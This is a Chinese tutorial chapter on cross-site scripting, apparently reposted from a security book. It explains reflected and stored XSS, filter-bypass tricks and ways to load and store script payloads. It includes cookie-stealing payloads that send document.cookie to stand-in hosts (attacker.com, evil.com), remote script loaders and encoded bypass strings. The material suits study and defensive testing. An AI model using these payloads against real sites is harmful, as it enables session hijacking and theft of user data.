当前位置: 首页 > news >正文

XSS 跨站脚本攻击剖析与防御 - 第一章:XSS 初探

一、跨站脚本介绍

(一)XSS 的定义与危害

跨站脚本(Cross - Site Scripting,XSS)是 Web 应用程序中常见的安全漏洞。攻击者利用 Web 应用程序对用户输入过滤不足的漏洞,将恶意的脚本代码(包含 HTML 代码和 JavaScript 脚本等)注入到用户浏览的网页中。当其他用户浏览这些网页时,恶意代码会在受害者主机的浏览器中执行,从而达到劫持用户会话、窃取 Cookie 资料、钓鱼欺骗等目的。例如,2011 年 6 月新浪微博爆发的 XSS 蠕虫攻击,仅 16 分钟就感染近 33000 个用户,危害十分严重。

(二)XSS 流行的原因

  1. 浏览器设计特性:Web 浏览器本身具备解析和执行 JavaScript 等脚本语言的能力,且不会判断脚本代码本身是否恶意,这为 XSS 攻击提供了基础。
  2. Web 应用安全防护不足:输入与输出是 Web 应用程序最基本的交互,若在此过程中没做好安全防护,Web 程序很容易出现 XSS 漏洞。
  3. 开发人员安全意识与能力问题:现在的应用程序大部分通过团队合作完成,程序员之间水平参差不齐,很少有人受过正规的安全培训,开发出的产品难免存在 XSS 漏洞相关问题。
  4. 对 XSS 漏洞重视不足:不管是开发人员还是安全工程师,很多都没有真正意识到 XSS 漏洞的危害,导致这类漏洞普遍受到忽视,很多企业甚至缺乏专门的安全工程师,或者不愿意在安全问题上花费更多的时间和成本。
  5. 攻击手段灵活多样:触发跨站脚本的方式非常简单,只要向 HTML 代码中注入脚本即可,而且执行此类攻击的手段众多,比如利用 CSS、Flash 等,XSS 技术运用灵活多变,要做到完全防御十分困难。
  6. Web 2.0 的发展:随着 Web 2.0 的流行,网站上交互功能越来越丰富,鼓励信息分享与交互,用户有了更多的机会去查看和修改他人的信息,比如通过论坛、Blog 或社交网络,这也给黑客提供了更广阔的空间发动 XSS 攻击。

二、XSS 的分类

(一)反射型 XSS

  1. 定义:反射型跨站脚本(Reflected Cross - site Scripting)也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到 URL 地址的参数中。
  2. 攻击流程:攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的 URL。当受害者单击这些专门设计的链接时,恶意 JavaScript 代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化。
  3. 示例
    • 构造恶意 URL,如http://www.test.com/search.php?key="><script>alert("XSS")</script>。当用户点击该 URL 时,服务器会将key参数的值反射到页面中,从而执行alert("XSS")脚本,弹出提示框。
    • 还可以对恶意代码进行编码转换来增强迷惑性,例如使用各种编码形式(十进制、十六进制、ESCAPE 等)隐藏恶意代码,像%3c%3c%2fscript%3e%3cscript%3ealert(%27XSS%27)%3c%2fscript%3e这样的编码后的 URL,缺乏安全意识的用户很容易点击。
  4. 常见出现位置:此类 XSS 通常出现在网站的搜索栏、用户登入入口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

(二)持久型 XSS

  1. 定义:持久型跨站脚本(Persistent Cross - site Scripting)也等于存储型跨站脚本(Stored Cross - site Scripting),比反射型跨站脚本更具威胁性,并且可能影响到 Web 服务器自身的安全。
  2. 攻击流程:攻击者事先将恶意 JavaScript 代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意 JavaScript 代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。
  3. 示例
    • 在网站的留言板功能中,攻击者输入<script>alert("XSS")</script>作为留言内容。由于网站程序没有对输入的内容进行有效的过滤,就将该恶意脚本存储到数据库中。当管理员或其他用户查看留言时,该恶意脚本就会在他们的浏览器中执行,弹出提示框。如果进一步构造恶意脚本,还可能劫持管理员会话,执行修改密码、添加新管理员等恶意操作。
    • 以一个 “新闻发布系统” 的留言模块为例,该系统有 “留言交流” 板块,页面地址为http://127.0.0.1/guest.asp,用户可在此输入留言内容并提交,后台会将留言存储到数据库。在留言输入框中直接输入<script>alert("XSS测试")</script>并提交,管理员登录后台(登录地址:http://127.0.0.1/admin/ad_login.asp,默认账号密码admin)查看留言时,发现输入的 XSS 语句未执行,而是被浏览器直接显示。查看页面源文件,发现 XSS 代码被嵌入到<textarea>标签中,于是构造符合标签嵌套的代码</textarea><script>alert("持久型XSS触发")</script><textarea>再次提交,管理员查看留言时成功触发 XSS,弹出提示框。
    • 某论坛允许用户发布帖子,攻击者在帖子内容中插入<script>document.location.href='http://attacker.com/steal_cookie.php?cookie='+document.cookie;</script>,由于论坛程序未过滤有害字符,该恶意脚本被存储到数据库。其他用户浏览帖子时,恶意脚本执行,将用户 Cookie 信息发送到攻击者服务器。
  4. 危害:这种 XSS 场景可以发挥的空间很大,因为它攻击的对象是后台管理员,攻击者能利用此种 XSS 劫持管理员会话而执行任意操作,比如修改密码、备份数据库等。

三、XSS 的简单发掘

(一)发掘反射型 XSS

通过分析 Web 应用程序代码,寻找对用户输入没有进行充分过滤就直接输出到页面的情况。例如,一个 PHP 网页提供用户输入信息的功能,前端 HTML 代码如下:

<html><head><title>XSS 测试</title></head><body><form action="XSS.php" method="POST">请输入名字:<br><input type="text" name="name" value=""><br><input type="submit" value="提交"></form></body></html>

后台 PHP 处理代码为:

<html>
<head><title>测试结果</title></head>
<body><?phpecho $_REQUEST['name'];?>
</body>
</html>

当在输入框中输入<script>alert("XSS")</script>并提交后,由于后台代码直接将用户输入的name变量echo输出,没有任何过滤,就会触发 XSS,弹出提示框。还可以通过构造 GET 请求的 URL,如http://127.0.0.1/XSS.php?name=<script>alert(/XSS/)</script>,直接触发反射型 XSS。

(二)发掘持久型 XSS

以一个 “新闻发布系统” 的留言模块为例,该系统有 “留言交流” 板块,页面地址为http://127.0.0.1/guest.asp,用户可在此输入留言内容并提交,后台会将留言存储到数据库,供管理员和其他用户查看。

  1. 初步测试输入:在留言输入框中直接输入<script>alert("XSS测试")</script>,然后点击 “提交” 按钮。
  2. 后台查看与分析:以管理员身份登录后台(登录地址:http://127.0.0.1/admin/ad_login.asp,默认管理员账号和密码为admin),进入 “留言 / 评论管理” 栏的 “等审留言” 链接查看留言,发现输入的 XSS 语句没有顺利执行,反而被浏览器直接显示出来。查看当前页面的源文件,发现输入的 XSS 代码不仅没有被过滤,而且已经成功插入到网页内容中,但由于被嵌入到<textarea>标签之中,所以浏览器直接显示而没有执行。
  3. 构造可执行的 XSS 代码:为了让 XSS 代码能够执行,构造符合<textarea>标签嵌套的 XSS 代码,例如</textarea><script>alert("持久型XSS触发")</script><textarea>,再次在留言输入框中输入该代码并提交。
  4. 验证漏洞:管理员在后台查看留言时,成功触发 XSS,弹出 “持久型 XSS 触发” 的提示框,证明存在持久型 XSS 漏洞。

四、XSS 构造剖析

(一)XSS Cheat Sheet

XSS Cheat Sheet 几乎涵盖了目前所有可能触发 XSS 的测试用例,在 Web 应用程序 XSS 测试中十分便利,能达到事半功倍的效果。以下是部分典型测试用例及说明:

  1. 基础脚本注入类
    • 测试用例<script>alert(1);</script>
    • 说明:最基础的 XSS 测试用例,尝试在页面中注入 JavaScript 脚本,弹出提示框,检测页面是否对<script>标签没有过滤。
    • 测试用例<script>alert("XSS");</script>
    • 说明:与上例类似,只是提示内容为 “XSS”,用于明确测试 XSS 漏洞是否存在。
  2. 利用外部资源类
    • 测试用例<script src="http://www.evil.com/cookie.php"></script>
    • 说明:尝试从外部恶意网站加载脚本,若成功加载,可用于窃取用户 Cookie 等信息,检测页面是否对外部脚本引入没有限制。
    • 测试用例<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
    • 说明:通过 JavaScript 的location.href方法,将包含用户 Cookie 的请求发送到恶意网站,直接窃取 Cookie,检测页面是否允许此类重定向和 Cookie 获取操作。
  3. 特殊标签与事件类
    • 测试用例<img src=foo.png onerror=alert(/xss/) />
    • 说明:利用img标签的onerror事件,当图片foo.png加载失败时,触发alert函数,检测页面是否对img标签的事件属性没有过滤。
    • 测试用例<style>@import'javascript:alert("XSS")';</style>
    • 说明:在 CSS 的@import规则中注入 JavaScript 脚本,检测页面是否对 CSS 中的特殊语法没有防范。
    • 测试用例<marquee><script>alert("XSS")</script></marquee>
    • 说明:利用marquee滚动标签,在其中注入脚本,检测页面是否对这类特殊标签内的脚本注入没有过滤。
  4. 编码与特殊字符类
    • 测试用例<IMG SRC="javascript:alert('XSS'); "> (包含各种编码形式,如&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;等)
    • 说明:通过对 JavaScript 代码进行各种编码(如十六进制编码),绕过可能的过滤规则,检测页面是否能正确识别和处理编码后的恶意内容。

(二)绕过 XSS - Filter

现实中多数 Web 应用程序会设计 XSS Filter(跨站脚本过滤器)来防御 XSS 攻击,XSS Filter 一般基于黑白名单的安全过滤策略。但即便如此,仍存在被绕过的可能性,以下是常见的绕过方式:

  1. 利用标签注入如果用户可以随意引入<等标记,就能操作 HTML 标签,进而通过<script>标签插入由 JavaScript 或 Vbscript 编写的恶意脚本代码,如<script>alert('XSS');</script>。因此,XSS Filter 通常会对<><script>等字符进行过滤和转义。但可以通过一些特殊方式绕过,例如:
<scr<script>ipt>alert('XSS');</script>

当过滤器只过滤一次<script>时,可能会留下<script>alert('XSS');</script>从而触发 XSS。2. 利用 HTML 标签属性值很多 HTML 标记中的属性都支持javascript:[code]伪协议的形式,声明 URL 的主体是任意的 JavaScript 代码,由 JavaScript 解释器运行。

  • 示例
<table background="javascript:alert(/xss/)"></table><img src="javascript:alert('XSS');">

这些代码利用tablebackground属性和imgsrc属性,注入 JavaScript 脚本。不过,不是所有标记的属性值都能产生 XSS,通常只有引用文件的属性才能触发跨站脚本,可用于测试的属性有hrefsrcbackgroundvalueactiondynsrc等。要防御基于属性值的 XSS,就要过滤 JavaScript 等关键字。3. 空格、回车、Tab 键技巧如果 XSS Filter 仅把敏感的输入(如关键字javascript)列入黑名单处理,用户可以利用空格、回车和 Tab 键绕过过滤器的限制。

  • 示例
<img src="java script:alert(/xss/)" width=100>

其中javascript之间的间隔可以用 Tab 键添加,当浏览器解析时,可能会忽略这些特殊字符的间隔,从而执行恶意脚本。这种技巧还可使用回车、空格之类的其他键位。4. 对标签属性值转码HTML 中属性值本身支持 ASCII 码形式,用户可以通过编码处理来绕过过滤。

  • 示例:把javascript:alert('XSS');进行 ASCII 码转码,转换为javascript&#116;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;,然后构造:
<img src="javascript&#116;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">

利用 HTML 属性值支持 ASCII 码的特性,绕过对javascript等关键字的过滤。5. 利用事件JavaScript 与 HTML 之间的交互是通过事件来实现的,事件是用户或浏览器自身执行的某种动作,如clickmouseoverload等。攻击者可以利用事件来执行跨站脚本。

  • 示例
<input type="button" value="click me" onclick="alert('click me')" /><img src="#" onerror=alert(/xss/) />

第一个例子中,当点击按钮时,触发onclick事件执行alert脚本;第二个例子中,当img标签的src属性引用的图片不存在时,触发onerror事件执行alert脚本。还有大量的事件可以运用,如onResumeonReverseonRowDelete等。6. 利用 CSS 跨站剖析XSS 跨站脚本的另一个载体是 CSS 样式表,使用 CSS 样式表执行 JavaScript 具有隐蔽、灵活多变等特点,但 CSS 样式表有各浏览器之间不能通用,甚至同一浏览器不同版本之间都不能通用的缺点。

  • 示例
<div style="background-image:url(javascript:alert('XSS'))"><style> body { background-image: url("javascript:alert('XSS')"); } </style>

利用 CSS 的background-image属性,注入javascript伪协议的脚本,触发 XSS。7. 利用字符编码字符编码在跨站脚本中经常运用,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode。HTML 标签中的某些属性值可以使用&#ASCII方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。

  • 示例:以<img src="javascript:alert('XSS');">为例,对其进行十进制转码(&#)后得到很长的编码字符串,如&#60;&#105;&#109;&#103;&#32;&#115;&#114;&#99;&#61;&#34;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;&#34;&#62;。将这些编码后的代码保存在 HTML 文档中,使用浏览器打开,脚本会执行,弹出 XSS 提示框。

另外,在 JavaScript 中有一个eval()函数,可计算字符串,并执行其中的 JavaScript 代码。可以使用连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本。

  • 示例:对alert('XSS')进行十六进制转码后得到\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29,然后构造:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>

这段代码能让浏览器弹出一个 XSS 对话框。eval()也可以执行 10 进制形式的脚本,但需要配合String.fromCharCode()函数使用,例如:

<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

结合使用eval()String.fromCharCode()函数,绕过过滤执行恶意脚本。8. 编码与加密技术在 XSS 中的应用

  • 样式表的十六进制字符串形式:样式表支持分析和解释连接的十六进制字符串形式,浏览器能正常解释。例如可以对background的属性值进行十六进制字符串形式转换,像BODY { background: \x75\x72\x6c(...) }style属性中的javascriptexpression等字符一般会被程序过滤,但经过十六进制编码后则可以逃避过滤。
  • 其他字符编码绕过过滤规则示例:利用字符编码绕过过滤规则的示例众多,比如:
<div style="xss:#410;#4120;#4114;#4101;#4115;#4115;#4105;#4111;#4110;(alert(1));"></div><img STYLE="background-image:\x75\x72\x6c(...)">

通过将关键字符进行十六进制编码,绕过对敏感字符的检测。

  • JavaScript 的多种编码形式:JavaScript 支持unicodeescapes、十六进制、八进制等编码形式,这种编码技术如果运用于跨站攻击,能大大加强 XSS 的威力。
  • 脚本加密技术:Microsoft 提供了脚本加密(Script Encoder)机制,可以对脚本进行加密,包括 JScript 和 VBScript,经过加密的脚本,能在 IE 下正常运行,在其他浏览器下则不识别。
    • JScript Encode:例如alert(1)使用 JScript Encode 加密的结果为&#@~CAAAA=^C+*D 8#mfAAAA==^#@。经 XSS Exploit 后变为:
<script language="JScript.Encode">
&#@~CAAAA=^C+*D 8#mfAAAA==^#@
</script>

此段代码在 IE 中执行可触发 XSS。

  • VBScript Encode:也可用来执行类似任务,例如:
<a href="test/a/" language="VBScript.Encode">#@~^CAAAA=^C+*D 8#mfJAAA==^#@</a>
<iframe onload=VBScript.Encode:#@~^CAAAA=^C+*D 8#mfJAAA==^#@></iframe>
  1. 拆分跨站法
    • 核心思想:当应用程序没有过滤 XSS 关键字(如<>)却对输入字符长度有限制时,可使用 “拆分法” 执行跨站脚本代码。其核心是把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑在一起执行。
    • 示例:著名安全研究员剑心曾利用某网站评论联系方式处的 XSS 漏洞(只能写入 30 个字符长度,<script></script>就占用了 17 个字符,剩下只有 13 个字符可支配),巧妙构造多个脚本标记,引入一个字符串变量z,并将代码拆分:
<script>z="document."</script><script>z+="write("</script><script>z+="'<script src=/"</script><script>z+="//www.shell.net/1.js></script>'"</script><script>z+=")"</script><script>eval(z)</script>

上述代码的作用是引入字符串变量z,并将代码拆分,然后分几次将其嵌入到变量z中,最后通过eval(z)巧妙地执行代码,使得<script></script>内的脚本代码得以顺利执行。

再比如某个著名邮箱系统曾出现的 XSS 漏洞,该系统过滤了许多触发 XSS 的敏感字符,但允许使用样式表的div{background-image:expression()},最终导致产生 XSS 漏洞。其 XSS Exploit 通过拆分 XSS Shellcode 的方法,把跨站用到的关键字,例如<>等写到 DIV 标签中,然后再把 DIV 中存储的内容取出并组合到一起,形成最终的 Shellcode。

五、Shellcode 的调用

(一)相关概念

  • Shellcode:最初是溢出程序和蠕虫病毒的核心,在 XSS 跨站脚本中,是指由 JavaScript 等脚本编写的 XSS 利用代码。
  • Exploit:具有一定的攻击性,通常表示完整编写好的漏洞利用工具(或程序),在黑客眼里就是漏洞利用,往往包含了 Shellcode。
  • POC(Proof of Concept):是一段证明漏洞存在的程序代码片段。

(二)调用方式

在传统 XSS 的运用中,Shellcode 一般是直接写进页面中执行,但实际环境中可能会遇到重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把 Shellcode 写到远程服务器上,然后使用<script>等标签对其进行调用,或者使用一些本地存储对象对其进行存储和调用。

1. 动态调用远程 JavaScript

假设www.bug.com的某个页面含有一个 XSS 漏洞,可通过以下方式动态调用远程 JavaScript:

  • 直接把 Shellcode 写到 URL 参数中,如http://www.bug.com/view.php?sort="><script>alert(/xss/)</script>,但这种方式恶意代码暴露在 URL 链接中,容易引起网站用户怀疑,且 Web 应用程序可能会限制 URL 的字符长度。
  • 更方便的是把 Shellcode 写到其他服务器的文件里,然后再用<script>标签进行动态加载,例如:
"><script src=http://www.evil.com/xss.js></script>

除了使用<script>标签动态调用远程 JavaScript,还可以运用基于 DOM 的方法创建和插入节点,把脚本或 HTML 注入到网页,实现过程如下:

var s=document.createElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);

第一行代码使用createElement()函数创建一个新元素 ——script;第二行代码把scriptsrc属性设置成 “http://www.evil.com/xss.js”,xss.js里面写有 Shellcode 代码;第三行代码使用getElementsByTagName()函数查找并返回文档中第一个head元素(因为索引为 0),然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个。简单来说,这段脚本的作用就是动态创建了一个<script>标签,其src属性指向http://www.evil.com/xss.js,然后把引用 JavaScript 的代码插入到网页的<head>标签后。

2. 使用window.location.hash

加载远程域的 JavaScript 文件是调用 XSS Shellcode 的常见方式之一,不过需要有远程服务器的权限。如果仅仅是为了解决 URL 字符长度问题,还可以使用window.location.hash属性实现 Shellcode 的存储和调用。location.href是 JavaScript 管理地址栏的内置对象,location.hash可以用来管理或设置 URL 的标签值。比如http://domain/adminlocation.hash="#admin",利用这个属性值可以做一些有意义的事情。例如:

http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

substr()可在字符串中抽取从start下标(这里是 1)开始的指定数目的字符,所以location.hash.substr(1)的作用是抽取 “#” 符号后面的字符(即alert('xss')),而eval()函数用来计算某个字符串,并执行其中的 JavaScript 代码,这样就能先把 Shellcode 写到地址参数中再执行。

3. XSS Downloader

将 Shellcode 存储到网站的数据库中,包括网页信息、文章内容、个人资料等地方,然后再把它们下载下来执行。简单地说,就是打造一个 XSS downloader(XSS 下载器),事先把 Shellcode 写到网站的某个页面,再利用 XMLHTTP 控件向网站发送 HTTP 请求(POST 或 GET),然后执行返回的数据。下面是一个简单的 POC:

function XSS(){
var a=new ActiveXObject("Microsoft.XMLHTTP");
a.Open("get","http://www.bug.com/11221.html",false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF')+4,b.indexOf('EOF'))));
}
XSS();

第一行:定义一个 XSS () 函数,该函数也是调用 Shellcode 的主函数。第二行:创建一个 XMLHTTP 对象。第三、四行:向http://www.bug.com/11221.html发送一个 HTTP 请求并获取 HTTP 响应。第五行:获取responseText,结果返回为字符串,把该变量赋值给b变量。第六行:用indexOf()函数计算BOFEOF的位置,再用substring()函数方法取出字符串,最后用unescape()函数方法解码执行。

4. 备选存储技术

随着 XSS 技术的不断发展,攻击者想出了越来越多巧妙的方法去存储和调用 XSS Shellcode,较为新颖的方式是把 XSS Shellcode 存储在客户端本地域中,譬如 HTTP cookie、Flash 共享对象、UserData、localStorage、sessionStorage 等。

  • Cookie 存储:Cookie 是客户端存储技术中的传统解决方法,但有存储容量有限(被限制在 4KB 内)的缺点。在 Cookie 中存储 Shellcode 的 POC 如下:
function setShellCdz(codz){
var exp=new Date();
exp.setTime(exp.getTime()+365*24*60*1000);
document.cookie="shellcode="+escape(codz)+";"+"expires="+exp.toGMTString();
}
  • Flash 共享对象(Shared Object,SO):类似于 HTTP Cookie 的运用方式,所以也被称作 Flash Cookie。与普通 Cookie 的 4KB 限制不同,SO 存储最大可达 100KB,并且可以使用任何形式的 JS 对象,缺点是必须要使用 Flash 软件。
  • IE 的 UserData:是微软专门为 IE 在系统中开辟的一块存储空间,最少能支持 640KB,不足之处是只能在 IE 浏览器上使用。
  • localStorage 和 sessionStorage:在 HTML5 也提供了两种在客户端存储数据的新方法,包括localStoragesessionStorage,其用法基本相同。以localStorage为例,存储数据的方法是直接给window.localStorage添加一个属性,如:
window.localStorage.a

或者:

window.localStorage["a"]

它的读取、写入、删除操作方法很简单,是以键值对的方式存在的。例如:

<script>
localStorage.a="xss";
document.write(localStorage.a);
if (!localStorage.count)
localStorage.count=1;
else
localStorage.count=Number(localStorage.count) + 1;
document.write("访问次数" + localStorage.count + " time(s).");
</script>

这段代码会创建一个变量a,并把 XSS 存储进去,然后把相关信息打印出来。若要把 XSS Shellcode 存储在localStorage中,操作如下:

  • 保存 Shellcode
function setShellCdz(codz){
window.localStorage.setItem("shellcodz", codz);
}
  • 执行 Shellcode
function getShellCdz(){
eval(window.localStorage.getItem("shellcodz"));
}

以上示例需要使用支持 HTML5 的浏览器才能看到运行效果,例如用 Google 的 Chrome 浏览器启动包含上述代码的 HTML 文档,第一次页面会显示 “xss 访问次数 1 time (s)”,不断刷新就能看到数字在一点点上涨。


文章转载自:

http://4zureBhA.cpmfp.cn
http://XYNYYsXz.cpmfp.cn
http://tZownMgZ.cpmfp.cn
http://eRBRsawM.cpmfp.cn
http://NJG72iEL.cpmfp.cn
http://gFqoguyT.cpmfp.cn
http://052r3xY6.cpmfp.cn
http://63pkqbLd.cpmfp.cn
http://FvmJYRft.cpmfp.cn
http://UJwBpI6Z.cpmfp.cn
http://jzyPq8wo.cpmfp.cn
http://fBGFkP36.cpmfp.cn
http://CmGgFBmV.cpmfp.cn
http://Q5jb2mPU.cpmfp.cn
http://qM3WZlUd.cpmfp.cn
http://xLt90yza.cpmfp.cn
http://YqCCGDyp.cpmfp.cn
http://IkqXCuG1.cpmfp.cn
http://6HE4Hqtt.cpmfp.cn
http://DyFBcaio.cpmfp.cn
http://OwLwrxnc.cpmfp.cn
http://7XkMA0xg.cpmfp.cn
http://a3f8gt3P.cpmfp.cn
http://EAoqlaeY.cpmfp.cn
http://Rzhd0IIO.cpmfp.cn
http://IG1Ac8k9.cpmfp.cn
http://LaPjCyX6.cpmfp.cn
http://iOIWzbRS.cpmfp.cn
http://hhMPBh6T.cpmfp.cn
http://ZPTQdZou.cpmfp.cn
http://www.dtcms.com/a/374876.html

相关文章:

  • vue 去掉el-dropdown 悬浮时出现的边框
  • 常见的排序算法总结
  • [优化算法]神经网络结构搜索(一)
  • php 使用html 生成pdf word wkhtmltopdf 系列2
  • 大数据毕业设计选题推荐-基于大数据的海洋塑料污染数据分析与可视化系统-Hadoop-Spark-数据可视化-BigData
  • 【计算机网络 | 第11篇】宽带接入技术及其发展历程
  • 探索Java并发编程--从基础到高级实践技巧
  • Made in Green环保健康产品认证怎么做?
  • yum list 和 repoquery的区别
  • 解决HTML/JS开发中的常见问题与实用资源
  • Angular 面试题及详细答案
  • AI与AR融合:重塑石化与能源巡检的未来
  • 增强现实光学系统_FDTD_zemax_speos_学习(1)
  • 开学季干货——知识梳理与经验分享
  • Alex Codes团队并入OpenAI Codex:苹果生态或迎来AI编程新篇章
  • The learning process of Decision Tree Model|决策树模型学习过程
  • 六、与学习相关的技巧(下)
  • 《低功耗音频:重塑听觉体验与物联网边界的蓝牙革命》
  • 20250909的学习笔记
  • 金融量化指标--5Sortino索提诺比率
  • 消息三剑客华山论剑:Kafka vs RabbitMQ vs RocketMQ
  • 均值/方差/标注查介绍
  • 深入解析Guava RateLimiter限流机制
  • 开发中使用——鸿蒙子页面跳转到指定Tab页面
  • HarmonyOS实现快递APP自动识别地址
  • AJAX入门-URL
  • 【C++】18. 红⿊树实现
  • 基于Java Spring Boot的云原生TodoList Demo 项目,验证云原生核心特性
  • 记录一次rk3568硬解码时cpu占用率高的问题
  • Electron 跨平台兼容性:处理 OS 差异